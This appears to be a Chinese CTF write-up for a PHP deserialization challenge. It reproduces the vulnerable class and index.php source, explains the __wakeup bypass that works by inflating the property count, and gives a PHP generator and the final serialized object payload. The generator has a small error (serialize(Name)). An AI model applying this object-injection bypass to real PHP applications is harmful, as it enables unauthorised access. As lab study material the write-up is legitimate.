BUUCTF—php反序列化

BUUCTF—php反序列化

[极客大挑战 2019]PHP

__wakeup()绕过

在这里插入图片描述

有备份,盲猜www.zip,下载了网站源码,class.php 引用了flag.php

//class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "
NO!!!hacker!!!
"
;echo "You name is: ";echo $this->username;echo "
"
;echo "You password is: ";echo $this->password;echo "
"
;die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "
hello my friend~~
sorry i can't give you the flag!"
;die();}} } ?> //index.php <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select); ?>

定位到 function __destruct()方法,需要password!=100且username=admin,通过select传参数这里可控造成反序列化漏洞。

但是

function __wakeup(){$this->username = 'guest';

unserialize() 会检查是否存在一个__wakeup() 方法。如果存在,则会先调用__wakeup 方法,预先准备对象需要的资源。 而__wakeup()将’guest’赋值给username,因此需要绕过该方法才能输出flag

绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法

这里有username和password有两个属性,大于即可

//序列化生成
<?php
class Name{private $username = 'admin';private $password = 100;
}
$a = new Name();
echo serialize(Name);
?> 

可以看到这里是有两个类的,修改成大于2个即可绕过__wakeup

O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;} 

然后select传参即可

在这里插入图片描述
未完待续…


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部